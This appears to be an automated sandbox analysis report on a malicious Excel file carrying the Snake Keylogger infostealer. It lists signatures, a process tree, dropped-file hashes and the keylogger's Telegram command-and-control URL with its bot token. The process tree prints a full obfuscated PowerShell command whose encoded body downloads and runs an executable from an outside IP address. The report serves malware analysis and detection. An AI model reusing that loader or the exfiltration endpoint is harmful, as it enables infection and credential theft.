Analysis

  • max time kernel
    122s
  • max time network
    133s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    22-10-2024 14:01

General

  • Target

    HEINRICH AG.xls

  • Size

    848KB

  • MD5

    5a232e6f517ecc2663439fcf2a28573d

  • SHA1

    155a24515072423a751465a774fc6e3e24e21f84

  • SHA256

    4af00aaa090c79876c7d3c1c337cdb5244f0b05689de4e22b7ed4a84bb8eb9d8

  • SHA512

    a96e1d03f6155e30e236d4234c0c352911d3780cd59493ea8545296dc8b42c2befed3972adfbf0001df24023e522547d00bb2de68c27d729cf689487ad5b4f49

  • SSDEEP

    12288:YmzHJE+CzldQD3DERnLRmF8D5JhuiC3LaQlOh4cjUVwUi4t7W:zczlWbARM8NTC3eQ0h4eU

Malware Config

Extracted

Family

snakekeylogger

C2

https://api.telegram.org/bot8129252196:AAFb_vUYwennKVolbwpXf3vnDfT_yhozHns/sendMessage?chat_id=7004340450

Signatures

  • Snake Keylogger

    Keylogger and Infostealer first seen in November 2020.

  • Snake Keylogger payload 3 IoCs
  • Blocklisted process makes network request 3 IoCs
  • Downloads MZ/PE file
  • Evasion via Device Credential Deployment 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • AutoIT Executable 1 IoCs

    AutoIT scripts compiled to PE executables.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\HEINRICH AG.xls"
    1⤵
    • System Location Discovery: System Language Discovery
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1712
  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe -Embedding
    1⤵
    • Blocklisted process makes network request
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:2900
    • C:\Windows\SysWOW64\WINDowsPOweRShEll\V1.0\pOWeRSHEll.exe
      "C:\Windows\systEm32\WINDowsPOweRShEll\V1.0\pOWeRSHEll.exe" "poweRshELl.ExE -Ex ByPass -nOp -w 1 -c DEVICEcrEdeNTiALdEpLOymENt ; IEx($(IeX('[sysTEM.TExT.eNcODiNG]'+[CHAr]58+[cHAr]58+'utf8.GEtStrIng([sYStEM.CONVert]'+[cHaR]58+[ChAR]58+'FRoMBASE64stRiNG('+[chaR]0X22+'JHpWV21LICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBRGQtVHlQRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbUJFcmRlZklOaVRJb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxNb04uRGxMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVJdEd0RkxyayxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHlPaGNCWkMsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnRFl3bFBXUURDLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHp1UyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFV3Z05LQ3FQWk8pOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiQ3RhaHNQek92IiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BbUVzUEFDRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU0hrSyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHpWV21LOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTcyLjI0NS4xMjMuNDUvNTYxL3dsYW5leHQuZXhlIiwiJEVuVjpBUFBEQVRBXHdsYW5leHQuZXhlIiwwLDApO3N0QVJ0LVNsRWVQKDMpO3NUQXJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVudjpBUFBEQVRBXHdsYW5leHQuZXhlIg=='+[chAR]0X22+'))')))"
      2⤵
      • Blocklisted process makes network request
      • Evasion via Device Credential Deployment
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2424
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex ByPass -nOp -w 1 -c DEVICEcrEdeNTiALdEpLOymENt
        3⤵
        • Evasion via Device Credential Deployment
        • Drops file in System32 directory
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2296
      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\z4corj-l.cmdline"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2952
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
          C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE1F7.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCE1F6.tmp"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:984
      • C:\Users\Admin\AppData\Roaming\wlanext.exe
        "C:\Users\Admin\AppData\Roaming\wlanext.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of WriteProcessMemory
        PID:2532
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
          "C:\Users\Admin\AppData\Roaming\wlanext.exe"
          4⤵
          • Accesses Microsoft Outlook profiles
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • outlook_office_path
          • outlook_win_path
          PID:2104
  • C:\Windows\explorer.exe
    "C:\Windows\explorer.exe"
    1⤵
      PID:1912

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8B2B9A00839EED1DFDCCC3BFC2F5DF12

      Filesize

      1KB

      MD5

      67e486b2f148a3fca863728242b6273e

      SHA1

      452a84c183d7ea5b7c015b597e94af8eef66d44a

      SHA256

      facaf1c3a4bf232abce19a2d534e495b0d3adc7dbe3797d336249aa6f70adcfb

      SHA512

      d3a37da3bb10a9736dc03e8b2b49baceef5d73c026e2077b8ebc1b786f2c9b2f807e0aa13a5866cf3b3cafd2bc506242ef139c423eaffb050bbb87773e53881e

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B46811C17859FFB409CF0E904A4AA8F8

      Filesize

      436B

      MD5

      971c514f84bba0785f80aa1c23edfd79

      SHA1

      732acea710a87530c6b08ecdf32a110d254a54c8

      SHA256

      f157ed17fcaf8837fa82f8b69973848c9b10a02636848f995698212a08f31895

      SHA512

      43dc1425d80e170c645a3e3bb56da8c3acd31bd637329e9e37094ac346ac85434df4edcdbefc05ae00aea33a80a88e2af695997a495611217fe6706075a63c58

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8B2B9A00839EED1DFDCCC3BFC2F5DF12

      Filesize

      174B

      MD5

      ae7b663127997356b96f6f3ecbe61ab6

      SHA1

      ed66f32d4b1b6fe2ce8f4796115e7a523189349b

      SHA256

      1eff877848b132962aa53ce98db59ca291db74a30ebd66af12a26c3b81d3ff8e

      SHA512

      fb619727403d56d551b365b3ca8ae8b6179b716346ef834c8e2af78fd801f7fd5f453a0dd7f30f30d2b939f4f958c51a84e232ae016ffd685de28f8bcb2e144a

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B46811C17859FFB409CF0E904A4AA8F8

      Filesize

      170B

      MD5

      58ecab0c725d81e41d89f59c1f0694f9

      SHA1

      a86a3adb8614aeac2c2e3d6d5a226f3c066136a5

      SHA256

      a17af720b8f210cc8ba941c4046b27c19bbbf42365ff485edff0bb4c32ab5b65

      SHA512

      d0ef60583f64b6caf6b88b8f54e5c924f71ab2c6fff2cee9ee1ed4ae68b74c12cd2a18e5a75d3c643f1f75a8082da730ffe1967634ed7b97cd7a909069fd2f8c

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5GWW47WY\seethemagicalpersoninmylifewithherlifegoodforme[1].hta

      Filesize

      8KB

      MD5

      24dcf722096ca6d02bbb70733ae01abc

      SHA1

      fb8166a57aaf6d4837dfb686b84ee51474941c83

      SHA256

      e0d07f596090db80fff8fb48b11999010611ac352534fadcf295c7ac47042bdd

      SHA512

      bb055ad22ba25be389d212fe6517b28244234d259cb0dc870eb7691b6ac3f99ed1d3a8408552f3f1fed9d29313a4a14d5a3fc3c08c629790990a8229f8ab33da

    • C:\Users\Admin\AppData\Local\Temp\CabCA8F.tmp

      Filesize

      70KB

      MD5

      49aebf8cbd62d92ac215b2923fb1b9f5

      SHA1

      1723be06719828dda65ad804298d0431f6aff976

      SHA256

      b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

      SHA512

      bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

    • C:\Users\Admin\AppData\Local\Temp\RESE1F7.tmp

      Filesize

      1KB

      MD5

      da1eac18b89c3b6280cb22951f9b3154

      SHA1

      5941be381e01ca23c0d0dda909d7dcf1e113b698

      SHA256

      d46e7af21f9366efcebabe9831f255ff51158f6d0ff1fe77e8ceee2a41984d3d

      SHA512

      a0b7531f125336ae404baa144a48ddbc6c18a828d5ffde7c02b87d1b2ac5778a704859c824efe3f62abe902d9c68cd59629e8d305dfd5ee17d5b49984a8bc5f1

    • C:\Users\Admin\AppData\Local\Temp\z4corj-l.dll

      Filesize

      3KB

      MD5

      2b99ba919671c79f4df59976613111c4

      SHA1

      4c94ff79230e20b1d02d53d555ecf00c7aa06e3e

      SHA256

      ea684aa3fe7356b56a8f4a1c924aa349ff334e8943f9b7763d1f76035030fb82

      SHA512

      50ab9122a57ca6b03123201db63895bf2f907b9b2cb823645f5641b0586f4565247b1364b3b78c6a329645d8dd79fb02038c0fe25e51be37493c1fbf25c40d65

    • C:\Users\Admin\AppData\Local\Temp\z4corj-l.pdb

      Filesize

      7KB

      MD5

      930bb6357539f247d2b4d5e1c3a66c37

      SHA1

      15ad012d6084a784cc834c0931d86c5bbb5c6a3f

      SHA256

      5633368c8b3eae19f8edc6f9283d6cc6df6136ec6e31d991d9790f518c7ffa37

      SHA512

      66229f50a21fe3cace84d42b08f83d04e50a056d1b3abb1025c891cb7a2ebca469d5c3837eea831fa0a7b419d0a8347a9251d35401a700f40b1731730edf36fc

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

      Filesize

      7KB

      MD5

      7bbcc16472cdd4649871407e5eed1d74

      SHA1

      1f14a58577859ab083b3c6137af5290c0d15103f

      SHA256

      400ca93abb401ccfd2fe932bc9f219df5226353a8117f05399dbdbbb804899bf

      SHA512

      ea51c37074ae680a6df2ee7cd11f54d800e6ce5ec2a513c192384ee1da7cfae7d9c20382b8fba25e7272599aa7160c93a56740dda87b0a1f1446d946e8c7a11d

    • C:\Users\Admin\AppData\Roaming\wlanext.exe

      Filesize

      910KB

      MD5

      d70ae089068975f5c914ba70c40c3527

      SHA1

      b0a81c280689f14bfa4d499955c80155e045e662

      SHA256

      2385bc1316c82968a13b95bb465c19f7675a6d3504fc3b8c028c00d7acbdc022

      SHA512

      532dd387f2a6757185aa6da0983d71277c2a7d9774482f27ba6d55478a7035df8b911457523569151be68e45ca6ee0e3a1f3cbff1eaab7d8126454a204532697

    • \??\c:\Users\Admin\AppData\Local\Temp\CSCE1F6.tmp

      Filesize

      652B

      MD5

      3a5336546df44a8b3fe904b0b9aeba58

      SHA1

      b8bc54d2f3f8cb9e6b763d11ccbb51cf6aee28ff

      SHA256

      91698f5b35caff6b47b3445c6d7119248806194c53e736490711259db2a9b274

      SHA512

      0f1bd8a65c8f4947d034ee448fe3230559765c04d53d742d1aa510eab907be53b13d7f6cbd4e8da52e2ab3517a34c85c5289922fa299a1e2ee7be303037b5da4

    • \??\c:\Users\Admin\AppData\Local\Temp\z4corj-l.0.cs

      Filesize

      483B

      MD5

      4c5d6a51b5bad9b89090a128b2676ef5

      SHA1

      13fbf9031d31d7c621c9fa9816818b341377d487

      SHA256

      c849809f9d06a8ef3bbd4de89bc706fbd851231f8dfe9f8ed84800c9b67e80d7

      SHA512

      a3f1573cee336b8efe076e8746e5a61e73d46b539cb5170f297262a5327e7b43e0c45cfe93682e93b92f20e878ae9e21e60502dbcdf492236ea642f15290601d

    • \??\c:\Users\Admin\AppData\Local\Temp\z4corj-l.cmdline

      Filesize

      309B

      MD5

      d3b36a3dcacd92ee16159f72c7759df6

      SHA1

      ad58651de484f19783e4c1d6e469ccc6b100b7d7

      SHA256

      d576de596fdfb811189a9247c2707412e2acb27d36532a905f057ba2c1b20654

      SHA512

      e6574490ca62543d69d676ce4aeec6253d6c8db97cbf326ddc1f27f4780c8ff93323b38e5b47700ff7b33c2ec36fa691b8f6f2bf285c29ba1a9edecf740c614a

    • memory/1712-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1712-17-0x00000000023E0000-0x00000000023E2000-memory.dmp

      Filesize

      8KB

    • memory/1712-36-0x0000000072A8D000-0x0000000072A98000-memory.dmp

      Filesize

      44KB

    • memory/1712-1-0x0000000072A8D000-0x0000000072A98000-memory.dmp

      Filesize

      44KB

    • memory/1712-73-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1712-76-0x0000000072A8D000-0x0000000072A98000-memory.dmp

      Filesize

      44KB

    • memory/2104-69-0x0000000000400000-0x0000000000426000-memory.dmp

      Filesize

      152KB

    • memory/2104-71-0x0000000000400000-0x0000000000426000-memory.dmp

      Filesize

      152KB

    • memory/2104-70-0x0000000000400000-0x0000000000426000-memory.dmp

      Filesize

      152KB

    • memory/2900-16-0x0000000000980000-0x0000000000982000-memory.dmp

      Filesize

      8KB